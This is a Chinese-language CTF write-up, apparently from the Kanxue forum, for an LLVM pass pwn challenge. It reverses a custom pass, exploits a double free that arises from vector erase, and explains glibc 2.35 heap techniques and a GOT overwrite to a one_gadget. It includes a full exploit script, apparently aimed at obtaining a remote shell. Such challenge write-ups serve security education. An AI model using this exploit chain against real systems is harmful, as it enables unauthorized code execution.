本题是一道LLVM PASS PWN
的题目,重点考察了C++ STL
中本身存在的一个漏洞,可导致double free
的产生。结合glibc
堆以及LLVM
的opt
中的相关特性可完成漏洞的利用,最终在不同的内核环境中寻找一条共同的劫持链,可拿到稳定的远程shell
。
附件中的漏洞模块VecPass.so
文件并没有去符号表,本着想让各位师傅集中精力在漏洞的发掘和利用上的意图,希望各位师傅能够玩得开心。
LLVM PASS PWN
的基础以及调试方法等内容可参考笔者之前写的文章:https://bbs.kanxue.com/thread-274259.htm
在本题所给的附件中,opt
是LLVM
的优化器和分析器,其版本是Ubuntu LLVM version 14.0.0
,libc
对应的版本是Ubuntu GLIBC 2.35-0ubuntu3.1
。而漏洞存在于自定义的LLVM PASS
模块VecPass.so
中,故我们需要对其进行逆向分析。
在_cxx_global_var_init_10
中,可以找到这个自定义LLVM PASS
模块的PASS
注册名为winmt
,以及一个彩蛋(笑
因此,需要使用opt -load ./VecPass.so -winmt ./exp.ll -enable-new-pm=0 -f
命令 加载模块并启动LLVM
的优化分析(注意新版需要加-enable-new-pm=0
,至于-f
选项也可以不加,不影响后续利用)。
定位到vtable
虚表,即可找到重写的runOnFunction
函数:
在runOnFunction
函数中,先关闭了标准报错,然后将num
和nm
两个变量清零。接着,获取了当前处理的函数名,并将其全部转为大写字母,只有结果为KCTF
才能进行后续操作。简单来说,就是只处理函数名的大写为KCTF
的所有函数 。
满足了上述要求后,设置标记变量sign
为0
,并调用run
函数 进一步对当前函数中的指令进行解析操作。只有当run
函数的返回值为1
的时候,才会跳出while
循环,代表对该函数的处理结束。
这里我对几个局部变量重命名了,index
代表vector
中的编号,del_times
代表删除的次数,total_times
代表之后的create
和delete
总操作次数,初始的时候index
为-1
,del_times
为0
,total_times
为0
。然后会实例化15
个ChunkInfo
类的对象,并依次push_back
放入C++ STL Vector
中。
再往下看,可以看到仅当命令的操作符编号为56
号,即Call
操作符的时候(从/usr/include/llvm-xx/llvm/IR/Instruction.def
中可查到),才会跳出循环进一步解析处理。
接着就是对于Call
操作符调用的不同函数及参数做不同的解析处理了。
结合下面的create
等操作,很容易恢复出ChunkInfo
的成员变量如下:
其中,size
是堆块大小,buf
指向申请分配的堆块区域。
ChunkInfo
类的构造函数ChunkInfo::ChunkInfo()
如下,初始化清零操作:
ChunkInfo
类的析构函数ChunkInfo::~ChunkInfo
如下,对堆块进行释放:
这里的析构函数虽然很常规,但是很重要,是漏洞出现的关键,后文会具体分析。
若调用的是create
函数,则需要有两个参数(这里getNumOperands
的值需要为3
是因为算上了被调用者)。然后,当前total_times
(创建和删除总操作次数)不得超过15
次 。此外,还需要index
和del_times
的和小于14
,即仍存在的和已删除的vector
中元素的数量和,确保vector
不溢出。
先通过llvm::isa<llvm::ConstantInt,llvm::Value *>
判断参数是否为常数,再用getArgOperand(xxx, 0)
和getZExtValue
获取create
函数的第一个参数值,即堆块可用区域的大小,范围是[0x10, 0x100)
。
然后,根据第一个参数的堆块大小值申请相应的堆块,存放入vector
中的下一个未使用对象的buf
指针中。
create
函数的第二个参数可以是0/1/2
,若为0
则不进行任何操作,若为1
则将申请的堆块(buf
指针指向的地址)中的前八个字节给全局变量num
,若为2
则相反地将num
的值赋给堆块的前八个字节。
remake
操作受标记变量sign
控制,每个KCTF
函数只能调用一次 。remake
函数可以有三个参数,其中第一个参数代表着vector
中需要重置的对象编号,后面两个参数和create
操作相同。
delete
函数仅有一个参数,代表着需要删除的vector
中的对象编号。此外,当前total_times
(创建和删除总操作次数)不得超过15
次才能执行delete
操作 。
循环vector
的迭代器,找到对应编号的vector
元素,先将此对象中的size
和buf
变量清空,再用erase
直接对这个vector
元素进行删除处理 。
最后,index
编号减一,del_times
删除次数加一。
加减运算add
和sub
操作都只有一个参数,代表全局变量num
所需加减的值。
位运算操作有and/or/xor
三种,在做位运算操作前都需要将num
只取后四个字节 。根据传入的单一参数值,位运算分为两种:将全局变量num
和nm
进行相应位运算操作和与传入的参数值进行位运算操作。
swap
操作无参数,但受全局变量used
控制,整个程序执行过程中只能调用一次 。
swap
操作会将全局变量num
和nm
的值相互交换。
end
操作无参数,会返回1
,使得跳出runOnFunction
中的while
循环,表示该KCTF
函数处理完成。
此外,若是其他未定义操作 ,则返回0
,并将instIter
往后移动一位,再次重新调用run
函数,接着当前指令之后继续解析处理。
根据上述逆向分析的过程,本题乍一看没有明显的漏洞,但是注意其中使用了C++ STL
的vector
容器。在delete
操作中,在对某个对象删除的时候会将对应的vector
元素用erase
直接删除掉。
我们来看C++ STL
中vector
容器的erase
操作删除单个元素时的源码:
其中,copy(first, last, result)
函数会将区间[first, last)
内的元素复制到[result, result+(last-first))
区间内。然后将finish
位置往前移动一位。
需要特别注意的是此处的destroy(finish)
语句,destroy
函数会将对应指针所指的元素析构掉。因此,此处执行的析构函数是当前vector
中最后一个元素的,而并非被删除的元素的!
例如,原本vector
中存在五个元素1 2 3 4 5
,现在删除3
号元素,那么此时vector
中的元素变为1 2 4 5 (5)
,size
变为4
,但是最后一个5
号元素的空间仍存在。然后将会调用现有的1 2 4 5
中最后的5
号元素的析构函数。
这里的写法是非常奇怪的,按照本题的析构函数,对vector
中最后一个元素析构,其中的堆块会被释放掉,然而vector
中最后一个元素仍保留在容器中,当vector
容器被销毁时,会从左到右依次执行每个元素的析构函数,此时最后一个元素的堆块会被释放两次,就可能造成double free
,笔者认为这是C++ STL
中残留的一个漏洞。
本题中vector
是run
函数中局部定义的,在run
函数返回时会销毁 。首先先初始化了15
个对象,其中buf
指向NULL
,依次压入了vector
中。若是没有用create
操作将vector
填满,即使erase
删除,析构的最后一个元素中对象的buf
指针是NULL
,并不会造成double free
。因此,我们需要先将15
个vector
中对象的堆块指针分配填满 ,这样就可以构造出double free
了。
由于本题的环境是libc-2.35
,tcache chunk
中会有key
字段来标记该堆块是否已经存在于tcache list
中。因此,我们不能直接在tcache list
中double free
,而fastbin
中只会检测相邻的两个堆块是否一样,可用A->B->A
的方式绕过,故可采用fastbin reverse into tcache
的方式 。简单来说,就是由于stashing
机制,当tcache list
中有空余位置的时候,若申请到fastbin
中的堆块,则会将fastbin
中之后的堆块甩入tcache list
至满。因此,如果此时tcache list
全被取出为空,fastbin
中堆块是A->B->A
,那么申请出A
堆块,并在next
指针写入target_addr
,那么之后tcache list
中将有三个元素B->A->target_addr
,继而可申请出target_addr
任意地址写。
对于本题来说,create
和delete
操作一共最多只有16
次机会,而根据上文分析,我们需要将create
填满,这需要15
次操作,那么最后只能delete
操作1
次。然而,可以注意到vector
是定义在run
函数中的局部容器,在run
函数返回后,vector
容器会被销毁,届时将会从左至右依次执行其中每个对象的析构函数,即堆块会被依次释放。不难想到,可以先通过erase
释放最后一个元素的堆块,再通过每个KCTF
函数唯一一次的remake
操作机会将其申请回来,这样vector
中就会有两个相同的堆块 ,并使其前面有七个同样大小的堆块,两个相同的堆块之间间隔一个堆块。最后,在vector
容器销毁的时候,tcache list
将被填满,fastbin
中也会出现double free
的相同堆块。
此部分的参考构造方式如下:
需要注意的是,这里最后调用的是一个未定义函数ret()
,而并未用end()
,这是因为若是end()
则会重新调用runOnFunction
到下一个大写后是KCTF
的函数,这个过程中涉及到了大堆块分配与释放的操作,会产生malloc_consolidate
使fastbin
中的堆块合并或下放 ,而此时fastbin list
中存在double free
的非法情况,会造成报错处理。因此,我们使用未定义函数ret()
,使得接下来重新调用run()
函数继续对该函数中的指令解析处理。
在有了double free
可任意地址写以后,加上create
的第二个参数,我们可以实现对堆块读取或写入数值,从而进行劫持。这里的劫持是需要修改tcache
的next
指针,由于glibc 2.35
存在safe-linking
机制,需要修改的值与tcache
堆块地址右移12
位得到的key
相异或写入。这里的key
只需要读取tcache list
末尾chunk
的next
指针(与0
异或)即可得到。异或操作的运算也是有的,不过在进行位运算之前会将存储的数值num
只取后四个字节,这就意味着我们不能劫持到如类似libc
这样的长地址 。
由于我们的模块VecPass.so
是由opt
加载的,而opt
是没有地址随机化PIE
保护的,且got
表也是可写的 。故可以对opt
的got
表进行劫持,这是一个短地址,在四字节以内,满足要求。
那该劫持opt
的哪一个got
表呢?显然是得劫持runOnFunction
函数全部处理结束后走到的plt
表对应的got
表。那么我们也就需要找到调用runOnFunction
函数的最上层入口。
根据调试的栈回溯信息,很容易找到runOnFunction
函数的最上层入口是位于0x434686
位置的call llvm::legacy::PassManager::run(llvm::Module&)@plt
。
我们ni
跳过后,后面所调用的plt
表对应的got
表都是可以劫持的,结合one_gadget
的相关条件,很遗憾对所有可劫持的got
表都没有直接能满足条件的one_gadget
。不过,我们可以再进行一次任意地址的劫持,使得one_gadget
满足条件,具体操作在下一节说明。
此处,笔者劫持的是llvm::Module::~Module()@plt
对应的got
表(地址为0x4476A0
),并将其改为位于libc
基地址偏移0xebdb3
处的one_gadget
(具体的劫持方法不唯一,但思路都应该一致)。
参考的劫持思路如下:
此处通过create(0x60, 1)
从unsorted bin
中分割出堆块,获得libc
地址。需要说明的是其中的两次delete
操作:第一个delete(7)
是因为此时的7
号堆块是double free
的堆块,与之后的9
号堆块相同,若这里不删除,又会造成二次double free
,最后end()
返回后就会出现报错,具体原因上文已经说明了;第二个delete(10)
是因为此时10
号堆块中存放的是非法堆块地址,若不删除的话,之后vector
销毁后析构的时候会报错,而此处用erase
删除并不会触发此堆块对应的析构函数,并且之前已经将buf
指针清空,不会出问题。
按照笔者的做法,目前对llvm::Module::~Module()@got.plt
劫持后的执行情况如下:
此时,由于rax=0
,是满足[rbp-0x50] == NULL
的条件的,但并不满足[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
的条件。不过,调试可知,此时[rbp-0x70]
中存放的是一个堆块地址,并且opt
执行的时候堆区地址比较特殊,只有三个字节 ,故我们是可以劫持到这个堆块地址(后文称为目标堆地址)并将其中的值改为0
的 。
二次劫持的构造double free
的部分和上文一致,只需要换个堆块大小就行了,这里也就不再赘述了。由于目标堆地址是未知的,我们需要先从tcache/fastbin
中读取出一个异或加密后的堆地址并用key
异或还原(或者是从smallbin
中直接读取),再通过得到的堆地址加减偏移得到目标堆地址,然后再用key
异或后写入double free
的堆块的fd/next
指针中。由上述过程可知,我们需要先将safe-linking
异或加解密用的key
通过swap
操作机会存到全局变量nm
中,且由于只有一次swap
的机会 ,如果需要有解密过程,加密过程和解密过程使用的key
最好是同一个 或者是只有最后一位不同(解密的时候可用and
将最后一位置零)。
我们需要获得某个堆块地址,再加减上相应的偏移得到目标堆地址。这里看似堆块地址的选取是比较自由的,其实不然。通过实际测试,表明opt
程序在加载LLVM PASS
模块运行的过程中受内核环境的影响较大,同样的操作在不同内核环境下的堆栈布局是有差别的 。因此,在A
内核环境下计算的某堆块地址与目标堆块地址的偏移与B
内核环境下极有可能是不同的。
由于docker
和主机是共享内核的,我们并不知道远程环境的内核版本是多少,因此我们需要在本地搭建两个不同的内核环境(最好版本相差较大),并寻找到一条共同的劫持链,这条劫持链大概率就是稳定的 。
根据笔者的尝试,找到了如下的一条稳定可行的劫持链:
此时的堆块布局如下:
先申请出0x70
的tcache
,得到key
为0x4f3
,再申请出0x60
的堆块,通过异或解密出其next
指针的堆地址为0x4f32f0
,由于笔者是直接用gdb
调试的,没有aslr
,由上文截图中可知目标堆块的地址为0x5041a0
,相差的偏移为0x10eb0
,最后再将得到的目标堆块地址通过同样的key
异或加密后写入fastbin
中double free
的0x4f3670
的fd/next
指针,最终由fastbin reverse into tcache
即可完成二次劫持,将目标堆块置零,满足one_gadget
的条件。
上述劫持链在笔者测试的不同内核环境中均是稳定的。
参考的完整exp
脚本如下:
通过clang -emit-llvm -S exp.c -o exp.ll
命令编译得到的exp.ll
如下:
将上面的exp.ll
使用base64
编码后发送给远程server
(最后以单独一行END
结尾):
最终,得到稳定的远程shell
:
在比赛的过程中,被有的师傅吐槽没有给LLVM
的启动命令呜呜呜,因为启动命令参数的不同会导致opt
运行过程中的堆布局不同。有些师傅认为这是本地打通了但远程无法打通的原因,其实主要原因不在于此,而是在于正文中提到的内核因素影响了堆布局。
本题涉及的两个主要考察点分别是vector
的erase
中存在漏洞以及找到通用的劫持链以应对任意未知的远程环境。因此,正文中我给出的exp
对于不同的启动命令以及不同的内核环境,都是稳定的。
此外,本题中虽然没给LLVM
启动命令,但这是可以结合远程环境推断出来的。启动命令的参数还是比较固定的,不确定的就是文件路径以及是否添加了-f
参数。
当按如下输入非法内容,产生报错的时候,可以根据报错信息得知文件存放在/home/ctf
路径下。
至于是否添加了-f
参数,在本地测试一下就可以知道,若是没有加-f
参数,会报一个WARNING
,如下图所示。然而,远程环境是没有WARNING
的,因此远程启动命令中存在-f
参数。
综上,容易推断出远程的启动命令为opt-14 -load /home/ctf/VecPass.so -winmt /home/ctf/exp.ll -enable-new-pm=0 -f
。不过,即使知道了远程的启动命令,依然是一样需要去寻找到一条稳定的劫持链,毕竟我也不知道看雪远程服务器的内核版本是多少哈哈哈。
iterator erase(iterator position)
{
if
(position + 1 != end())
copy(position + 1, finish, position);
--finish;
destroy(finish);
return
position;
}
iterator erase(iterator position)
{
if
(position + 1 != end())
copy(position + 1, finish, position);
--finish;
destroy(finish);
return
position;
}
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x50, 0);
create(0x50, 0);
delete
(8);
remake(11, 0x50, 0);
ret();
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x50, 0);
create(0x50, 0);
delete
(8);
remake(11, 0x50, 0);
ret();
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 1);
xor(0x4476A0);
create(0x50, 2);
delete
(7);
create(0x60, 1);
sub(0x219ce0);
create(0x50, 0);
create(0x50, 0);
add(0xebdb3);
create(0x50, 2);
delete
(10);
end();
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 1);
xor(0x4476A0);
create(0x50, 2);
delete
(7);
create(0x60, 1);
sub(0x219ce0);
create(0x50, 0);
create(0x50, 0);
add(0xebdb3);
create(0x50, 2);
delete
(10);
end();
0x4168e0
<llvm::Module::~Module()@plt> jmp qword ptr [rip
+
0x30dba
] <execvpe
+
1331
>
↓
0x7ffff0eebdb3
<execvpe
+
1331
> lea r10, [rbp
-
0x50
]
0x7ffff0eebdb7
<execvpe
+
1335
> mov qword ptr [rbp
-
0x50
], rax
0x7ffff0eebdbb
<execvpe
+
1339
> jmp execvpe
+
1129
<execvpe
+
1129
>
↓
0x7ffff0eebce9
<execvpe
+
1129
> mov qword ptr [r10
+
0x10
],
0
0x7ffff0eebcf1
<execvpe
+
1137
> mov rdx, qword ptr [rbp
-
0x70
]
0x7ffff0eebcf5
<execvpe
+
1141
> mov rsi, r10
0x7ffff0eebcf8
<execvpe
+
1144
> lea rdi, [rip
+
0xec999
]
0x7ffff0eebcff
<execvpe
+
1151
> mov qword ptr [rbp
-
0x78
], r9
0x7ffff0eebd03
<execvpe
+
1155
> call execve <execve>
0x4168e0
<llvm::Module::~Module()@plt> jmp qword ptr [rip
+
0x30dba
] <execvpe
+
1331
>
↓
0x7ffff0eebdb3
<execvpe
+
1331
> lea r10, [rbp
-
0x50
]
0x7ffff0eebdb7
<execvpe
+
1335
> mov qword ptr [rbp
-
0x50
], rax
0x7ffff0eebdbb
<execvpe
+
1339
> jmp execvpe
+
1129
<execvpe
+
1129
>
↓
0x7ffff0eebce9
<execvpe
+
1129
> mov qword ptr [r10
+
0x10
],
0
0x7ffff0eebcf1
<execvpe
+
1137
> mov rdx, qword ptr [rbp
-
0x70
]
0x7ffff0eebcf5
<execvpe
+
1141
> mov rsi, r10
0x7ffff0eebcf8
<execvpe
+
1144
> lea rdi, [rip
+
0xec999
]
0x7ffff0eebcff
<execvpe
+
1151
> mov qword ptr [rbp
-
0x78
], r9
0x7ffff0eebd03
<execvpe
+
1155
> call execve <execve>
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x60, 1);
swap();
create(0x50, 1);
xor(0);
add(0x10eb0);
xor(0);
create(0x70, 2);
delete
(9);
create(0x70, 0);
create(0x70, 0);
and(0);
create(0x70, 2);
delete
(11);
end();
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x60, 1);
swap();
create(0x50, 1);
xor(0);
add(0x10eb0);
xor(0);
create(0x70, 2);
delete
(9);
create(0x70, 0);
create(0x70, 0);
and(0);
create(0x70, 2);
delete
(11);
end();
void
create(unsigned
int
size, unsigned
int
choice);
void
remake(unsigned
int
index, unsigned
int
size, unsigned
int
choice);
void
delete
(unsigned
int
index);
void
add(unsigned
int
val);
void
sub(unsigned
int
val);
void
and(unsigned
int
val);
void
or(unsigned
int
val);
void
xor(unsigned
int
val);
void
swap();
void
ret();
void
end();
void
KCTF()
{
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x50, 0);
create(0x50, 0);
delete
(8);
remake(11, 0x50, 0);
ret();
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 1);
xor(0x4476A0);
create(0x50, 2);
delete
(7);
create(0x60, 1);
sub(0x219ce0);
create(0x50, 0);
create(0x50, 0);
add(0xebdb3);
create(0x50, 2);
delete
(10);
end();
}
void
kctf()
{
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x70, 0);
create(0x70, 0);
delete
(8);
remake(11, 0x70, 0);
ret();
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x60, 1);
swap();
create(0x50, 1);
xor(0);
add(0x10eb0);
xor(0);
create(0x70, 2);
delete
(9);
create(0x70, 0);
create(0x70, 0);
and(0);
create(0x70, 2);
delete
(11);
end();
}
void
create(unsigned
int
size, unsigned
int
choice);
void
remake(unsigned
int
index, unsigned
int
size, unsigned
int
choice);
void
delete
(unsigned
int
index);
void
add(unsigned
int
val);
void
sub(unsigned
int
val);
void
and(unsigned
int
val);
void
or(unsigned
int
val);
void
xor(unsigned
int
val);
void
swap();
void
ret();
void
end();
void
KCTF()
{
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x50, 0);
create(0x50, 0);
delete
(8);
remake(11, 0x50, 0);
ret();
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 0);
create(0x50, 1);
xor(0x4476A0);
create(0x50, 2);
delete
(7);
create(0x60, 1);
sub(0x219ce0);
create(0x50, 0);
create(0x50, 0);
add(0xebdb3);
create(0x50, 2);
delete
(10);
end();
}
void
kctf()
{
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x70, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
create(0x10, 0);
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2023-9-11 13:28
被kanxue编辑
,原因: